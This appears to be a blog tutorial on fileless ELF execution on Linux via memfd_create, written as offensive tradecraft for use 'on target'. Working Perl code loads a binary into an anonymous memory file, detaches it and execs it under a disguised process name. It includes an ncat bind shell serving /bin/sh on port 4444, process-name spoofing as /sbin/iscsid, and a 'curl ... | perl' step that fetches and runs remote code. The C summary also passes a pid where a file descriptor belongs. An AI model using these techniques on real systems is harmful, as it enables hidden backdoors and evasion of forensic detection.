In-Memory-Only ELF Execution (Without tmpfs)

In which we run a normal ELF binary on Linux without touching the filesystem (except 

/proc

).

Introduction

Every so often, it’s handy to execute an ELF binary without touching disk. Normally, putting it somewhere under 

/run/user

 or something else backed by tmpfs works just fine, but, outside of disk forensics, that looks like a regular file operation. Wouldn’t it be cool to just grab a chunk of memory, put our binary in there, and run it without monkey-patching the kernel, rewriting 

execve(2)

 in userland, or loading a library into another process?

Enter 

memfd_create(2)

. This handy little system call is something like 

malloc(3)

, but instead of returning a pointer to a chunk of memory, it returns a file descriptor which refers to an anonymous (i.e. memory-only) file. This is only visible in the filesystem as a symlink in 

/proc/<PID>/fd/

 (e.g. 

/proc/10766/fd/3

), which, as it turns out, 

execve(2)

 will happily use to execute an ELF binary.

The manpage has the following to say on the subject of naming anonymous files:

The name supplied in 

name

 [an argument to 

memfd_create(2)

] is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory 

/proc/self/fd/

. The displayed name is always prefixed with 

memfd:

 and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.

In other words, we can give it a name (to which 

memfd:

 will be prepended), but what we call it doesn’t really do anything except help debugging (or forensicing). We can even give the anonymous file an empty name.

Listing 

/proc/<PID>/fd

, anonymous files look like this:


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /proc/10766/fd
total 0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -&gt; /memfd:kittens <span class="o">(</span>deleted<span class="o">)</span>
lrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -&gt; /memfd: <span class="o">(</span>deleted<span class="o">)</span>

Here we see two anonymous files, one named 

kittens

 and one without a name at all. The 

(deleted)

 is inaccurate and looks a bit weird but c’est la vie.

Caveats

Unless we land on target with some way to call 

memfd_create(2)

, from our initial vector (e.g. injection into a Perl or Python program with 

eval()

), we’ll need a way to execute system calls on target. We could drop a binary to do this, but then we’ve failed to acheive fileless ELF execution. Fortunately, Perl’s 

syscall()

 solves this problem for us nicely.

We’ll also need a way to write an entire binary to the target’s memory as the contents of the anonymous file. For this, we’ll put it in the source of the script we’ll write to do the injection, but in practice pulling it down over the network is a viable alternative.

As for the binary itself, it has to be, well, a binary. Running scripts starting with 

#!/interpreter

 doesn’t seem to work.

The last thing we need is a sufficiently new kernel. Anything version 3.17 (released 05 October 2014) or later will work. We can find the target’s kernel version with 

uname -r

.


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>uname <span class="nt">-r</span>
4.4.0-116-generic

On Target

Aside 

execve(2)

ing an anonymous file instead of a regular filesystem file and doing it all in Perl, there isn’t much difference from starting any other program. Let’s have a look at the system calls we’ll use.

memfd_create(2)

Much like a memory-backed 

fd = open(name, O_CREAT|O_RDWR, 0700)

, we’ll use the 

memfd_create(2)

 system call to make our anonymous file. We’ll pass it the 

MFD_CLOEXEC

 flag (analogous to 

O_CLOEXEC

), so that the file descriptor we get will be automatically closed when we 

execve(2)

 the ELF binary.

Because we’re using Perl’s 

syscall()

 to call the 

memfd_create(2)

, we don’t have easy access to a user-friendly libc wrapper function or, for that matter, a nice human-readable 

MFD_CLOEXEC

 constant. Instead, we’ll need to pass 

syscall()

 the raw system call number for 

memfd_create(2)

 and the numeric constant for 

MEMFD_CLOEXEC

. Both of these are found in header files in 

/usr/include

. System call numbers are stored in 

#define

s starting with 

__NR_

.


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include<span class="nv">$ </span>egrep <span class="nt">-r</span> <span class="s1">'__NR_memfd_create|MFD_CLOEXEC'</span> <span class="k">*</span>
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL<span class="o">(</span>__NR_memfd_create, sys_memfd_create<span class="o">)</span>
linux/memfd.h:#define MFD_CLOEXEC               0x0001U
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create <span class="o">(</span>__X32_SYSCALL_BIT + 319<span class="o">)</span>
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create

Looks like 

memfd_create(2)

 is system call number 319 on 64-bit Linux (

#define __NR_memfd_create

 in a file with a name ending in 

_64.h

), and 

MFD_CLOEXEC

 is a consatnt 

0x0001U

 (i.e. 1, in 

linux/memfd.h

). Now that we’ve got the numbers we need, we’re almost ready to do the Perl equivalent of C’s 

fd = memfd_create(name, MFD_CLOEXEC)

 (or more specifically, 

fd = syscall(319, name, MFD_CLOEXEC)

).

The last thing we need is a name for our file. In a file listing, 

/memfd:

 is probably a bit better-looking than 

/memfd:kittens

, so we’ll pass an empty string to 

memfd_create(2)

 via 

syscall()

. Perl’s 

syscall()

 won’t take string literals (due to passing a pointer under the hood), so we make a variable with the empty string and use it instead.

Putting it together, let’s finally make our anonymous file:


<span class="k">my</span> <span class="nv">$name</span> <span class="o">=</span> <span class="s">""</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$fd</span> <span class="o">=</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">319</span><span class="p">,</span> <span class="nv">$name</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$fd</span><span class="p">)</span> <span class="p">{</span>
        <span class="nb">die</span> <span class="s">"memfd_create: $!"</span><span class="p">;</span>
<span class="p">}</span>

We now have a file descriptor number in 

$fd

. We can wrap that up in a Perl one-liner which lists its own file descriptors after making the anonymous file:


stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>perl <span class="nt">-e</span> <span class="s1">'$n="";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'</span>
total 0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -&gt; /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -&gt; /memfd: <span class="o">(</span>deleted<span class="o">)</span>

write(2)

Now that we have an anonymous file, we need to fill it with ELF data. First we’ll need to get a Perl filehandle from a file descriptor, then we’ll need to get our data in a format that can be written, and finally, we’ll write it.

Perl’s 

open()

, which is normally used to open files, can also be used to turn an already-open file descriptor into a file handle by specifying something like 

&gt;&amp;=X

 (where X is a file descriptor) instead of a file name. We’ll also want to enable autoflush on the new file handle:


<span class="nb">open</span><span class="p">(</span><span class="k">my</span> <span class="nv">$FH</span><span class="p">,</span> <span class="s">'&gt;&amp;='</span><span class="o">.</span><span class="nv">$fd</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"open: $!"</span><span class="p">;</span>
<span class="nb">select</span><span class="p">((</span><span class="nb">select</span><span class="p">(</span><span class="nv">$FH</span><span class="p">),</span> <span class="vg">$|</span><span class="o">=</span><span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>

We now have a file handle which refers to our anonymous file.

Next we need to make our binary available to Perl, so we can write it to the anonymous file. We’ll turn the binary into a bunch of Perl print statements of which each write a chunk of our binary to the anonymous file.


perl <span class="nt">-e</span> <span class="s1">'$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(&lt;&gt;)'</span> ./elfbinary

This will give us many, many lines similar to:


<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/7f454c4602010100000000000000000002003e0001000000304f450000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/4000000000000000c80100000000000000000000400038000700400017000300/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/0600000004000000400000000000000040004000000000004000400000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>

Exceuting those puts our ELF binary into memory. Time to run it.

Optional: 

fork(2)

Ok, 

fork(2)

 is isn’t actually a system call; it’s really a libc function which does all sorts of stuff under the hood. Perl’s 

fork()

 is functionally identical to libc’s as far as process-making goes: once it’s called, there are now two nearly identical processes running (of which one, usually the child, often finds itself calling 

exec(2)

). We don’t actually have to spawn a new process to run our ELF binary, but if we want to do more than just run it and exit (say, run it multiple times), it’s the way to go. In general, using 

fork()

 to spawn multiple children looks something like:


<span class="k">while</span> <span class="p">(</span><span class="nv">$keep_going</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
                <span class="nb">die</span> <span class="s">"fork: $!"</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child</span>
                <span class="c1"># Do child things here</span>
                <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
<span class="p">}</span>

Another handy use of 

fork()

, especially when done twice with a call to 

setsid(2)

 in the middle, is to spawn a disassociated child and let the parent terminate:


<span class="c1"># Spawn child</span>
<span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
        <span class="nb">die</span> <span class="s">"fork1: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Parent terminates</span>
        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the child, become session leader</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">112</span><span class="p">))</span> <span class="p">{</span>
        <span class="nb">die</span> <span class="s">"setsid: $!"</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1"># Spawn grandchild</span>
<span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
        <span class="nb">die</span> <span class="s">"fork2: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child terminates</span>
        <span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the grandchild here, do grandchild things</span>

We can now have our ELF process run multiple times or in a separate process. Let’s do it.

execve(2)

Linux process creation is a funny thing. Ever since the early days of Unix, process creation has been a combination of not much more than duplicating a current process and swapping out the new clone’s program with what should be running, and on Linux it’s no different. The 

execve(2)

 system call does the second bit: it changes one running program into another. Perl gives us 

exec()

, which does more or less the same, albiet with easier syntax.

We pass to 

exec()

 two things: the file containing the program to execute (i.e. our in-memory ELF binary) and a list of arguments, of which the first element is usually taken as the process name. Usually, the file and the process name are the same, but since it’d look bad to have 

/proc/&lt;PID&gt;/fd/3

 in a process listing, we’ll name our process something else.

The syntax for calling 

exec()

 is a bit odd, and explained much better in the documentation. For now, we’ll take it on faith that the file is passed as a string in curly braces and there follows a comma-separated list of process arguments. We can use the variable 

$$

 to get the pid of our own Perl process. For the sake of clarity, the following assumes we’ve put 

ncat

 in memory, but in practice, it’s better to use something which takes arguments that don’t look like a backdoor.


<span class="nb">exec</span> <span class="p">{</span><span class="s">"/proc/$$/fd/$fd"</span><span class="p">}</span> <span class="s">"kittens"</span><span class="p">,</span> <span class="s">"-kvl"</span><span class="p">,</span> <span class="s">"4444"</span><span class="p">,</span> <span class="s">"-e"</span><span class="p">,</span> <span class="s">"/bin/sh"</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"exec: $!"</span><span class="p">;</span>

The new process won’t have the anonymous file open as a symlink in 

/proc/&lt;PID&gt;/fd

, but the anonymous file will be visible as the

/proc/&lt;PID&gt;/exe

 symlink, which normally points to the file containing the program which is being executed by the process.

We’ve now got an ELF binary running without putting anything on disk or even in the filesystem.

Scripting it

It’s not likely we’ll have the luxury of being able to sit on target and do all of the above by hand. Instead, we’ll pipe the script (

elfload.pl

 in the example below) via SSH to Perl’s stdin, and use a bit of shell trickery to keep 

perl

 with no arguments from showing up in the process list:


<span class="nb">cat</span> ./elfload.pl | ssh user@target /bin/bash <span class="nt">-c</span> <span class="s1">'"exec -a /sbin/iscsid perl"'</span>

This will run Perl, renamed in the process list to 

/sbin/iscsid

 with no arguments. When not given a script or a bit of code with 

-e

, Perl expects a script on stdin, so we send the script to perl stdin via our local SSH client. The end result is our script is run without touching disk at all.

Without creds but with access to the target (i.e. after exploiting on), in most cases we can probably use the devopsy 

curl http://server/elfload.pl | perl

 trick (or intercept someone doing the trick for us). As long as the script makes it to Perl’s stdin and Perl gets an EOF when the script’s all read, it doesn’t particularly matter how it gets there.

Artifacts

Once running, the only real difference between a program running from an anonymous file and a program running from a normal file is the 

/proc/&lt;PID&gt;/exe

 symlink.

If something’s monitoring system calls (e.g. someone’s running 

strace -f

 on sshd), the 

memfd_create(2)

 calls will stick out, as will passing paths in 

/proc/&lt;PID&gt;/fd

 to 

execve(2)

.

Other than that, there’s very little evidence anything is wrong.

Demo

To see this in action, have a look at this asciicast. asciicast

In C (translate to your non-disk-touching language of choice):

  1. fd = memfd_create("", MFD_CLOEXEC);
  2. write(pid, elfbuffer, elfbuffer_len);
  3. asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);
РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *